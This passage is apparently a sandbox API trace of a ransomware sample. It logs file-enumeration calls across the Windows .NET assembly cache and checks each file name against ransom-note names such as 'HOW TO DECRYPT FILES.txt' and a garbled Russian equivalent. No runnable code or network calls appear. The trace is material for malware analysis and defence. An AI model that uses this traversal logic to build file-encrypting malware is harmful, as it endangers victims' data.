lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.047] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\*.*") returned="*.*" [0102.047] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfefe057, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfefe057, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.047] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.048] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Abstractions.dll") returned -1 [0102.048] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Abstractions.dll") returned -1 [0102.048] lstrcmpiA (lpString1="", lpString2="System.Web.Abstractions.dll") returned -1 [0102.048] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.048] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\" [0102.048] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.050] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.050] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.051] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\*.*") returned="*.*" [0102.051] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfc9ca52, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfc9ca52, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.052] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.dll") returned -1 [0102.052] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.dll") returned -1 [0102.052] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.dll") returned -1 [0102.052] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.052] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\" [0102.052] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.054] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.054] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.055] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\*.*") returned="*.*" [0102.055] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbff4a317, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbff4a317, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.056] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.Design.dll") returned -1 [0102.056] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.Design.dll") returned -1 [0102.056] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.Design.dll") returned -1 [0102.056] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\" [0102.056] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.059] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.059] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.060] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\*.*") returned="*.*" [0102.060] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfce8d13, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfce8d13, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.061] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.dll") returned -1 [0102.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.dll") returned -1 [0102.062] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.dll") returned -1 [0102.062] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.062] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\" [0102.062] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\") returned="" [0102.065] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.065] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.065] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\*.*") returned="*.*" [0102.065] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf7b3ce9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf7b3ce9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.066] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.Design.dll") returned -1 [0102.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.Design.dll") returned -1 [0102.066] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.Design.dll") returned -1 [0102.066] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\" [0102.066] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\") returned="" [0102.069] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.069] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.070] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\*.*") returned="*.*" [0102.070] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfe65ad6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfe65ad6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.071] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.071] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.dll") returned -1 [0102.071] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.dll") returned -1 [0102.071] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.dll") returned -1 [0102.071] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.071] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\" [0102.071] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.073] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.073] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.074] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\*.*") returned="*.*" [0102.074] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0706aa5, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0706aa5, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.075] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.075] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.Design.dll") returned -1 [0102.075] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.Design.dll") returned -1 [0102.075] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.Design.dll") returned -1 [0102.075] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\" [0102.075] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.077] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.077] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.078] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\*.*") returned="*.*" [0102.078] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc08f5c89, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc08f5c89, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.078] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Mobile.dll") returned -1 [0102.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Mobile.dll") returned -1 [0102.079] lstrcmpiA (lpString1="", lpString2="System.Web.Mobile.dll") returned -1 [0102.079] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0102.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\" [0102.079] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0102.081] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.081] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.081] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\*.*") returned="*.*" [0102.081] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.082] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.RegularExpressions.dll") returned -1 [0102.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.RegularExpressions.dll") returned -1 [0102.082] lstrcmpiA (lpString1="", lpString2="System.Web.RegularExpressions.dll") returned -1 [0102.082] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0102.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\" [0102.082] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0102.086] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.086] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.087] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\*.*") returned="*.*" [0102.087] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc085d708, 